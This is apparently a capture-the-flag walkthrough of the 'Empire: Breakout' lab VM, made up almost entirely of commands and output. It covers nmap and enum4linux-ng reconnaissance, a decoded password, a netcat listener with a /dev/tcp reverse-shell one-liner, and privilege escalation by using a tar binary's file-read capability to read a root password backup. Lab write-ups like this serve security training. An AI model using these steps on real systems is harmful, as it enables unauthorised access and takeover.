Empire: Breakout

$ sudo nmap -sP 192.168.0.1/24

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 16:54 CST
Nmap scan report for 192.168.0.1
Host is up (0.00054s latency).
MAC Address: 24:69:8E:07:FE:4E (Shenzhen Mercury Communication Technologies)
Nmap scan report for 192.168.0.103
Host is up (0.22s latency).
MAC Address: DA:3F:DF:36:C2:F8 (Unknown)
Nmap scan report for 192.168.0.105
Host is up (0.18s latency).
MAC Address: C8:94:02:0F:E5:33 (Chongqing Fugui Electronics)
Nmap scan report for earth.local (192.168.0.108)
Host is up (0.00042s latency).
MAC Address: 08:00:27:BE:06:F9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.109
Host is up (0.00091s latency).
MAC Address: E8:6A:64:83:2C:C0 (Lcfc(hefei) Electronics Technology)
Nmap scan report for 192.168.0.104
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 2.88 seconds

 sudo nmap -sV -sC -A 192.168.0.109

Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-02 16:56 CST
Nmap scan report for 192.168.0.109
Host is up (0.0018s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
MAC Address: E8:6A:64:83:2C:C0 (Lcfc(hefei) Electronics Technology)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=4/2%OT=135%CT=1%CU=35170%PV=Y%DS=1%DC=D%G=Y%M=E86A64%T
OS:M=62480FDB%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=I%CI=I%II=I
OS:%SS=S%TS=U)OPS(O1=M5B4NNS%O2=M5B4NNS%O3=M5B4%O4=M5B4NNS%O5=M5B4NNS%O6=M5
OS:B4NNS)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T
OS:=80%W=2000%O=M5B4NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=
OS:AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0
OS:%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=1
OS:64%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-04-02T08:57:34
|_  start_date: N/A
|_clock-skew: 39s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: PLUTO, NetBIOS user: <unknown>, NetBIOS MAC: e8:6a:64:83:2c:c0 (Lcfc(hefei) Electronics Technology)

TRACEROUTE
HOP RTT     ADDRESS
1   1.79 ms 192.168.0.109

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.


-->

.2uqPEfj3D<P'a-3

/enum4linux-ng.py 192.168.0.107 -A -C  -R -I -k

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 192.168.0.107
[*] Username ......... ''
[*] Random Username .. 'qpmlpjob'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
[*] RID Range(s) ..... 500-550,1000-1050
[*] Known Usernames .. 'administrator,guest,krbtgt,domain admins,root,bin,none'

 =====================================
|    Service Scan on 192.168.0.107    |
 =====================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 =====================================================
|    NetBIOS Names and Workgroup for 192.168.0.107    |
 =====================================================
[+] Got domain/workgroup name: WORKGROUP
[+] Full NetBIOS names information:
- BREAKOUT        <00> -         B <ACTIVE>  Workstation Service
- BREAKOUT        <03> -         B <ACTIVE>  Messenger Service
- BREAKOUT        <20> -         B <ACTIVE>  File Server Service
- ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
- WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
- WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
- MAC Address = 00-00-00-00-00-00

 ==========================================
|    SMB Dialect Check on 192.168.0.107    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB1 only: false
Preferred dialect: SMB 3.0
SMB signing required: false

 ==========================================
|    RPC Session Check on 192.168.0.107    |
 ==========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for random user session
[+] Server allows session using username 'qpmlpjob', password ''
[H] Rerunning enumeration with user 'qpmlpjob' might give more results

 ====================================================
|    Domain Information via RPC for 192.168.0.107    |
 ====================================================
[+] Domain: WORKGROUP
[+] SID: NULL SID
[+] Host is part of a workgroup (not a domain)

 ============================================================
|    Domain Information via SMB session for 192.168.0.107    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: BREAKOUT
NetBIOS domain name: ''
DNS domain: ''
FQDN: breakout

 ================================================
|    OS Information via RPC for 192.168.0.107    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Linux/Unix (Samba 4.13.5-Debian)
OS version: '6.1'
OS release: ''
OS build: '0'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x809a03'
Server type string: Wk Sv PrQ Unx NT SNT Samba 4.13.5-Debian

 ======================================
|    Users via RPC on 192.168.0.107    |
 ======================================
[*] Enumerating users via 'querydispinfo'
[+] Found 0 users via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 0 users via 'enumdomusers'

 =======================================
|    Groups via RPC on 192.168.0.107    |
 =======================================
[*] Enumerating local groups
[+] Found 0 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 0 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 0 group(s) via 'enumdomgroups'

 =========================================
|    Services via RPC on 192.168.0.107    |
 =========================================
[+] Found 4 service(s):
NETLOGON:
  description: Net Logon
RemoteRegistry:
  description: Remote Registry Service
Spooler:
  description: Print Spooler
WINS:
  description: Windows Internet Name Service (WINS)

 =======================================
|    Shares via RPC on 192.168.0.107    |
 =======================================
[*] Enumerating shares
[+] Found 2 share(s):
IPC$:
  comment: IPC Service (Samba 4.13.5-Debian)
  type: IPC
print$:
  comment: Printer Drivers
  type: Disk
[*] Testing share IPC$
[-] Could not check share: STATUS_OBJECT_NAME_NOT_FOUND
[*] Testing share print$
[+] Mapping: DENIED, Listing: N/A

 ==========================================
|    Policies via RPC for 192.168.0.107    |
 ==========================================
[*] Trying port 445/tcp
[+] Found policy:
domain_password_information:
  pw_history_length: None
  min_pw_length: 5
  min_pw_age: none
  max_pw_age: 49710 days 6 hours 21 minutes
  pw_properties:
  - DOMAIN_PASSWORD_COMPLEX: false
  - DOMAIN_PASSWORD_NO_ANON_CHANGE: false
  - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
  - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
  - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
  - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
domain_lockout_information:
  lockout_observation_window: 30 minutes
  lockout_duration: 30 minutes
  lockout_threshold: None
domain_logoff_information:
  force_logoff_time: 49710 days 6 hours 21 minutes

 ==========================================
|    Printers via RPC for 192.168.0.107    |
 ==========================================
[+] No printers returned (this is not an error)

 ===================================================================
|    Users, Groups and Machines on 192.168.0.107 via RID Cycling    |
 ===================================================================
[*] Trying to enumerate SIDs
[+] Found 3 SID(s)
[*] Trying SID S-1-22-1
[+] Found user 'Unix User\cyber' (RID 1000)
[*] Trying SID S-1-5-21-1683874020-4104641535-3793993001
[+] Found user 'BREAKOUT\nobody' (RID 501)
[+] Found domain group 'BREAKOUT\None' (RID 513)
[*] Trying SID S-1-5-32
[+] Found builtin group 'BUILTIN\Administrators' (RID 544)
[+] Found builtin group 'BUILTIN\Users' (RID 545)
[+] Found builtin group 'BUILTIN\Guests' (RID 546)
[+] Found builtin group 'BUILTIN\Power Users' (RID 547)
[+] Found builtin group 'BUILTIN\Account Operators' (RID 548)
[+] Found builtin group 'BUILTIN\Server Operators' (RID 549)
[+] Found builtin group 'BUILTIN\Print Operators' (RID 550)
[+] Found 2 user(s), 8 group(s), 0 machine(s) in total

Completed after 8.18 seconds

nc -lvnp 2022

sh -i >& /dev/tcp/192.168.0.104/2022 0>&1

listening on [any] 2022 ...
connect to [192.168.0.104] from (UNKNOWN) [192.168.0.107] 40390
sh: 0: can't access tty; job control turned off
$ id 
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
cyber@breakout:~$ 

cyber@breakout:~$ cat us	

3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

cyber@breakout:~$ file tar

tar: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=727740cc46ed2e44f47dfff7bad5dc3fdb1249cb, for GNU/Linux 3.2.0, stripped

cyber@breakout:~$ getcap t    

getcap tar 
tar cap_dac_read_search=ep

cyber@breakout:~$ ./tar -cvf pass.tar /var/backups/.old_pass.bak
./tar: Removing leading `/' from member names
/var/backups/.old_pass.bak

cyber@breakout:~$ ls

bak.tar  pass.tar  tar  user.txt

cyber@breakout:~$  tar -xvf pass.tar

var/backups/.old_pass.bak

cyber@breakout:~$ cat var/backups/.old_pass.bak

Ts&4&YurgtRX(=~h

cyber@breakout:~$ su root

Password: Ts&4&YurgtRX(=~h

root@breakout:/home/cyber# cd ~

root@breakout:~# ls -al
ls -al
total 40
drwx------  6 root root 4096 Oct 20 07:53 .
drwxr-xr-x 18 root root 4096 Oct 19 13:51 ..
-rw-------  1 root root  281 Oct 20 07:53 .bash_history
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 19 08:49 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root  100 Oct 19 15:15 rOOt.txt
drwx------  2 root root 4096 Oct 19 13:58 .spamassassin
drwxr-xr-x  2 root root 4096 Oct 19 13:58 .tmp
drwx------  6 root root 4096 Oct 19 13:58 .usermin

root@breakout:~# cat r00t.txt

cat: r00t.txt: No such file or directory
root@breakout:~# cat rOOt.txt

3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

Author: Icex64 & Empire Cybersecurity

root@breakout:~#